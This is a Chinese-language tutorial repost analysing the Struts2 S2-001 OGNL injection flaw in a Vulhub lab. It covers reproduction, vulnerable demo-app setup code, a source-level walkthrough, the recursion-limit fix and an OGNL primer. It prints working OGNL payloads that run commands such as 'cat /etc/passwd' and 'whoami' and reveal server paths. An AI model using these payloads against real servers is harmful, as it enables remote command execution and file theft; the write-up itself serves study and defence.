首頁 > 運維 > 安全 > struts2漏洞 S2-001實例分析

struts2漏洞 S2-001實例分析

王林
發布: 2023-05-15 15:58:14
轉載
1271 人瀏覽過

Vulhub漏洞系列:struts2漏洞S2-001

1.漏洞描述:

struts2漏洞S2-001是當使用者提交表單資料且驗證失敗時,伺服器使用OGNL表達式解析使用者先前提交的參數值,%{value}並重新填入對應的表單資料。例如,在註冊或登入頁面中。如果提交失敗,則伺服器通常預設會傳回先前提交的資料。由於伺服器用於%{value}對提交的資料執行OGNL表達式解析,因此伺服器可以直接發送有效載荷來執行命令。

2.vulhub漏洞利用:

用vulhub複現漏洞可以省去環境的建構過程,相當方便。

vulhub官網位址:https://vulhub.org

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析

啟動漏洞環境。

docker-compsoe up -d
登入後複製

輸入測試的payload

%{1+1}
登入後複製

struts2漏洞 S2-001实例分析可以看到我們的加法表達式成功執行了。

struts2漏洞 S2-001实例分析

這次我們試試看指令執行,new java.lang.String[ {"cat","/etc/passwd"} 在這裡更改我們想要執行的命令。

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[ {"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
登入後複製

struts2漏洞 S2-001实例分析成功的讀取到了passwd檔。

struts2漏洞 S2-001实例分析

下面給出三條利用語句:

取得tomcat路徑
%{"tomcatBinDir{" @java.lang.System@getProperty("user.dir") "}"}
#取得web路徑
##%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println( #req.getRealPath('/')),#response.flush(),#response.close()}
################### ########指令執行##################%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{ "whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader( #c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter(). println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}############

3.搭建环境

平台:win10

工具:Apache Tomcat 9.0.7,IntelliJ IDEA

下载IntelliJ IDE之后我们选择免费试用一个月,接下来创建我们的项目。

struts2漏洞 S2-001实例分析这个是搭建完成后的效果,下边所有创建添加的jar包或者修改的文件都按照这个格式进行。

struts2漏洞 S2-001实例分析目录结构如下。

struts2漏洞 S2-001实例分析

需要如下几个包,下载地址:

http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip

解压完之后,我们把lib目录下对应的jar包导入到我们在项目中创建的lib目录中。

struts2漏洞 S2-001实例分析

struts2漏洞 S2-001实例分析

接着发布我们导入的jar包,不然会报错。

struts2漏洞 S2-001实例分析

接下来就是我们要创建的几个文件,这里代码都给出来了,直接copy就行。(注意:一定要按照前边给出的目录结构放置下边的文件)

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>S2-001 Example</display-name><filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class></filter><filter-mapping><filter-name>struts2</filter-name><url-pattern>/*</url-pattern></filter-mapping><welcome-file-list><welcome-file>index.jsp</welcome-file></welcome-file-list>
</web-app>
登入後複製

index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <title>S2-001</title>
</head>
<body>
<h3>S2-001 Demo</h3>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
  <s:textfield name="username" label="username" />
  <s:textfield name="password" label="password" />
  <s:submit></s:submit>
</s:form>
</body>
</html>
登入後複製

welcome.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
登入後複製

LoginAction.java

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}
登入後複製

src目录下新建struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts><package name="S2-001" extends="struts-default"><action name="login" class="com.demo.action.LoginAction"><result name="success">welcome.jsp</result><result name="error">index.jsp</result></action></package>
</struts>
登入後複製

4.原理分析

漏洞部分代码

xwork-2.0-beta-1.jar/com.opensymphony.xwork2/util/TextParseUtil.java

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
    Object result = expression;

    while(true) {
        int start = expression.indexOf(open + "{");
        int length = expression.length();
        int x = start + 2;
        int count = 1;

        while(start != -1 && x < length && count != 0) {
            char c = expression.charAt(x++);
            if (c == &#39;{&#39;) {
                ++count;
            } else if (c == &#39;}&#39;) {
                --count;
            }
        }

        int end = x - 1;
        if (start == -1 || end == -1 || count != 0) {
            return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
        }

        String var = expression.substring(start + 2, end);
        Object o = stack.findValue(var, asType);
        if (evaluator != null) {
            o = evaluator.evaluate(o);
        }

        String left = expression.substring(0, start);
        String right = expression.substring(end + 1);
        if (o != null) {
            if (TextUtils.stringSet(left)) {
                result = left + o;
            } else {
                result = o;
            }

            if (TextUtils.stringSet(right)) {
                result = result + right;
            }

            expression = left + o + right;
        } else {
            result = left + right;
            expression = left + right;
        }
    }
}
登入後複製

运行我们搭建好的环境,记得开启debug模式

struts2漏洞 S2-001实例分析password处输入我们的测试语句:%{333*666},正确结果是多少来着,待我找个计算机算一下先(手动笑哭表情)

struts2漏洞 S2-001实例分析

expression会获取不同的参数值,我们直到其获取到password开始分析漏洞原因。

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析然后这次的判断跳过了中间的return,为啥会跳过return呢?因为这里的password内容任然是一个ognl表达式所以会再次进入循环,接着这里取出%{password}中间的值password赋给var。struts2漏洞 S2-001实例分析在解析完%{password}表达式之后要获取其中的内容password进行展示,也就是我们这里的%{333*666}

struts2漏洞 S2-001实例分析然后这次的判断同样也会跳过中间的return,为啥会跳过return呢?因为这里的password内容依然是一个ognl表达式所以会再次进入循环,接着这里取出%{333*666}中间的值333*666赋给var。

struts2漏洞 S2-001实例分析

然后通过Object o = stack.findValue(var, asType)获得到password的值为333*666,然后重新赋值给expression,进行下一次循环。

在这一次循环的时候,就会解析333*666,并将赋值给了o,经过计算后expression的值就变成了221788。

struts2漏洞 S2-001实例分析不是OGNL表达式时就会进入

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析

5.漏洞修复

判断了循环的次数,从而在解析到%{333*666}的时候不会继续向下递归,相当于限制了解析ongl的次数。

struts2漏洞 S2-001实例分析

也就不会对用户提交的参数进行ongl解析

if (loopCount > maxLoopCount) {
    // translateVariables prevent infinite loop / expression recursive evaluation
    break;
}
登入後複製

6.OGNL表达式

这里搬运大佬总结好的东西。

OGNL 是Object-Graph Navigation Language 的縮寫,它是一種強大的表達式語言(Expression Language,簡稱為EL),透過它簡單一致的表達式語法,可以存取物件的任意屬性,調用物件的方法,遍歷整個物件的結構圖,實現字段類型轉換等功能。它使用相同的表達式去訪問物件的屬性。 OGNL 三要素:(以下部分摘抄互聯網某處, 我覺得說得好)

1、表達式(Expression)

#表達式是整個OGNL 的核心,所有的OGNL 操作都是針對表達式的解析後進行的。表達式會規定此次 OGNL 操作到底要做什麼。我們可以看到,在上面的測試中,name、department.name 等都是表達式,表示取 name 或 department 中的 name 的值。 OGNL 支援很多類型的表達式,之後我們會看到更多。

2、根物件(Root Object)

根物件可以理解為 OGNL 的操作物件。在表達式規定了 「幹什麼」 以後,你還需要指定到底「對誰幹」。在上面的測試程式碼中,user 就是根物件。這就意味著,我們需要對 user 這個物件去取 name 這個屬性的值(對 user 這個物件去設定其中的 department 中的 name 屬性值)。

3、上​​下文環境(Context)

有了表達式和根對象,我們實際上已經可以使用 OGNL 的基本功能。例如,根據表達式對根物件進行取值或設值工作。不過實際上,在 OGNL 的內部,所有的操作都會在特定的環境中運行,而這個環境就是 OGNL 的上下文環境(Context)。說得再明白一些,就是這個上下文環境(Context),將規定 OGNL 的操作 「在哪裡幹」。
OGN L 的上下文環境是一個 Map 結構,稱為 OgnlContext。上面我們提到的根物件(Root
Object),事實上也會被加入到上下文環境中去,並且這將作為一個特殊的變數進行處理,具體就表現為針對根物件(Root
Object)的存取操作的表達式是不需要增加#符號進行區分的。

#表達式功能操作清單:
1.基本物件樹的存取
物件樹的存取就是透過使用點號將物件的參考串連起來進行。
例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx2. 對容器變數的存取
對容器變數的訪問,透過#符號加上表達式進行。
例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx3. 使用操作符號
OGNL表達式中能使用的操作符基本上跟Java裡的操作符一樣,除了能使用, -, *, /, , --, ==, !=, = 等運算子之外,還能使用mod, in, not in等。 4. 容器、陣列、物件
OGNL支援對陣列和ArrayList等容器的順序存取:例如:group.users[0]
同時,OGNL支援對Map的按鍵值查找:
例如:# session['mySessionPropKey']
不僅如此,OGNL也支援容器的建構的表達式:
例如:{"green", "red", "blue"}建構一個List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}建構一個Map
你也可以透過任意類別物件的建構子進行物件新建
例如:new Java.net.URL ("xxxxxx/")5. 對靜態方法或變數的存取
要引用類別的靜態方法和字段,他們的表達方式是一樣的@class@member或@class@method(args):6. 方法呼叫
直接透過類似Java的方法呼叫方式進行,你甚至可以傳遞參數:
例如:user.getName(),group.users.size(),group.containsUser(#requestUser)7.投影和選擇
OGNL支援類似資料庫中的投影(projection) 和選擇(selection)。
投影就是選出**中每個元素的相同屬性組成新的**,類似於關聯式資料庫的欄位操作。投影操作語法為 collection.{XXX},其中XXX 是這個**中每個元素的公共屬性。
例如:group.userList.{username}將會取得某個group中的所有user的name的清單。
選擇就是過濾符合selection 條件的**元素,類似關聯式資料庫的紀錄運算。選擇操作的語法為:collection.{X YYY},其中X 是選擇運算符,後面則是選擇用的邏輯表達式。而選擇操作符有三種:
? 選擇所有滿足條件的元素
^ 選擇滿足條件的第一個元素
$ 選擇滿足條件的最後一個元素
例如:group.userList.{ ? #txxx.xxx != null}將取得某個group中user的name不為空的user的清單。

以上是struts2漏洞 S2-001實例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

相關標籤:
來源:yisu.com
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板